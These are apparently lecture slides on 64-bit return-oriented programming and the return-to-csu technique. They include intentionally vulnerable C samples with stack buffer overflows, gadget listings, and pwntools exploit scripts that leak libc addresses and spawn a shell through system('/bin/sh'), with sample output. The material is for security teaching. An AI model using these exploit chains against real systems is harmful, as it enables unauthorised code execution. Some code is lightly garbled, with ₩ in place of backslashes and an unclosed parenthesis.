Advanced Return Oriented Programming

Insu Yun

Agenda

- Understand 64-bit ROP
- Understand return-to-csu

Review (32bit)

__libc_start_main@got
main
puts

→

"/bin/sh"
????
system

Would it work in 64bit?

__libc_start_main@got
main
puts

→

"/bin/sh"
????
system

ROP in 64-bit

- Need to set an argument in `rdi`
- It would be great if we have

```
pop rdi
ret
```

- But we only have

```
0x400d82 <+98>:    pop    r15
0x400d84 <+100>:   ret
```

Gadgets by breaking instructions

We can get this gadget by breaking the instruction

```
0x400d82 <+98>:    pop    r15
0x400d84 <+100>:   ret
```

```
0x400d83 <+99>:    pop    rdi
0x400d84 <+100>:   ret
```

Get more gadgets using ropper

In our server, we installed a tool called ropper(**https://github.com/sashs/Ropper**).

```
$ ropper --file [program]

Gadgets
=======
0x080487f1: adc al, 0x41; ret;
0x0804855e: adc al, 0x50; call edx;
0x08048611: add al, 0x89; ret 0x458b;
0x080484d1: add al, 8; call eax;
0x0804850b: add al, 8; call edx;
0x0804868f: add bl, dh; ret;
...
```

64bit ROP using `pop rdi;ret`

main
puts
__libc_start_main@got
pop rdi;ret

→

system
"/bin/sh"
pop rdi;ret

Review: sample

```
void vuln() {
    char buf[32];
    read(0, buf, 0x100);
}

int main() {
    puts("Welcome!");
    vuln();
    exit(0);
}
```

Exploit

```
from pwn import *

p = process('./vuln')
e = ELF('./vuln')
p.readline() # Welcome

pop_rdi_ret = 0x0000000000400623
payload = ("A"*0x28
                + p64(pop_rdi_ret)
                + p64(e.got['__libc_start_main'])
                + p64(e.symbols['puts'])
                + p64(e.symbols['_start']))
p.send(payload)

# Unlike 32bit, 64bit libc address contains NULL
# Therefore, puts() returns the address with line
break(i.e., ₩n)
# (e.g., 'P₩xd7₩xa2₩xf7₩xff₩x7f₩n' ->
0x00007ffff7a2d750)
# This code eliminates the line break and make it
8 bytes
libc_start_main =
u64(p.readline().strip().ljust(8, '₩x00'))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = libc_start_main -
libc.symbols['__libc_start_main']
print("LIBC_BASE: 0x%x" % libc_base)

# 2nd exploit
libc.address = libc_base
payload = ("A"*0x28
                + p64(pop_rdi_ret)
                +
p64(next(libc.search('/bin/sh')))
                + p64(libc.symbols['system'])
p.send(payload)
p.interactive()
```

BOOM

```
$ python exploit.py
[+] Starting local process './vuln': pid 12103
[*] '/home/vagrant/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
LIBC_BASE: 0x7ffff7a0d000
[*] Switching to interactive mode
Welcome!
$ id
uid=1000(vagrant) gid=1000(vagrant)
groups=1000(vagrant)
```

Another sample

```
void vuln() {
    char buf[32];
    read(0, buf, 0x100);
}

int main() {
    write(1, "Welcome!₩n", 9);
    vuln();
    exit(0);
}
```

- What's the problem of our exploit?

Another sample

```
void vuln() {
    char buf[32];
    read(0, buf, 0x100);
}

int main() {
    write(1, "Welcome!₩n", 9);
    vuln();
    exit(0);
}
```

- What's challenge for exploiting it?

Can we find this gadget?

```
pop rdi
pop rdx
pop rsi
ret
```

or these gadgets?

```
pop rdi
ret
```

```
pop rdx
ret
```

```
pop rsi
ret
```

Unfortunately not in our small program :(

return-to-csu

- return-to-csu: A New Method to Bypass 64-bit Linux ASLR (Blackhat ASIA '18)
    - New? No! It is very very old technique!
    - Well documented though

__libc_csu_init

```
void
__libc_csu_init (int argc, char **argv, char
**envp)
{
  ...
  const size_t size = __init_array_end -
__init_array_start;
  for (size_t i = 0; i < size; i++)
      (*__init_array_start [i]) (argc, argv,
envp);
}
```

gadgets in __libc_csu_init

```
; set arguments (argc, argv envp)
mov    rdx,r13
mov    rsi,r14
mov    edi,r15d
call   QWORD PTR [r12+rbx*8]

; for loop
add    rbx,0x1
cmp    rbp,rbx
jne    __libc_csu_init+64

; clean up
add    rsp,0x8
pop    rbx
pop    rbp
pop    r12
pop    r13
pop    r14
pop    r15
ret
```

return-to-csu

1. Set registers using clean up code

```
; clean up
pop    rbx
pop    rbp
pop    r12
pop    r13
pop    r14
pop    r15
ret
```

2. Jump to function calls

```
; set arguments (argc, argv envp)
mov    rdx,r13
mov    rsi,r14
mov    edi,r15d
call   QWORD PTR [r12+rbx*8]
; for loop
add    rbx,0x1
cmp    rbp,rbx
jne    __libc_csu_init+64
...
```

return-to-csu

```
; set arguments (argc, argv envp)
mov    rdx,r13
mov    rsi,r14
mov    edi,r15d
call   QWORD PTR [r12+rbx*8]

; for loop
add    rbx,0x1
cmp    rbp,rbx
jne    __libc_csu_init+64
...
```

- r13 → rdx (3rd argument)
- r14 → rsi (2st argument)
- r15d → edi (1st argument): 32bit
- r12+rbx*8: An address contains a function address
- If rbx == 0, rbp == 1 for terminating
- Q: r12 for `write()`?

GOT will save us :)

- GOT = an address contains a function address
  - e.g., write@GOT
- e.g., `write(1, __libc_start_main@GOT, 8)`
  - r13 → rdx (3rd argument) → 8
  - r14 → rsi (2st argument) → __libc_start_main@GOT
  - r15d → edi (1st argument): 32bit → 1
  - r12+rbx*8: An address contains a function address → write@GOT
  - If rbx == 0, rbp == 1 for terminating

Leak... then?

- Compute libc base address
- system("/bin/sh") using `pop rdi ; ret`

Exploit

```
from pwn import *

p = process('./vuln', stderr=2)
e = ELF('./vuln')
p.readline() # Welcome

gadget1 = 0x000000000040066a # clean up
gadget2 = 0x0000000000400650 # func call
pop_rdi_ret = 0x0000000000400673

payload = (b"A"*0x28
                + p64(gadget1)
                + p64(0) # rbx
                + p64(1) # rbp
                + p64(e.got['write']) # r12
                + p64(8) # r13
                + p64(e.got['__libc_start_main'])
# r14
                + p64(1) # r15
                + p64(gadget2)
                + p64(0) * 7
                + p64(e.symbols['main']))
p.send(payload)
libc_start_main = u64(p.read(8))#.strip().ljust(8,
'Wx00'))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = libc_start_main -
libc.symbols['__libc_start_main']
print("LIBC_BASE: 0x%x" % libc_base)
```

WARNING

Your gadget might be different from mine!

Please re-check if you write your exploit!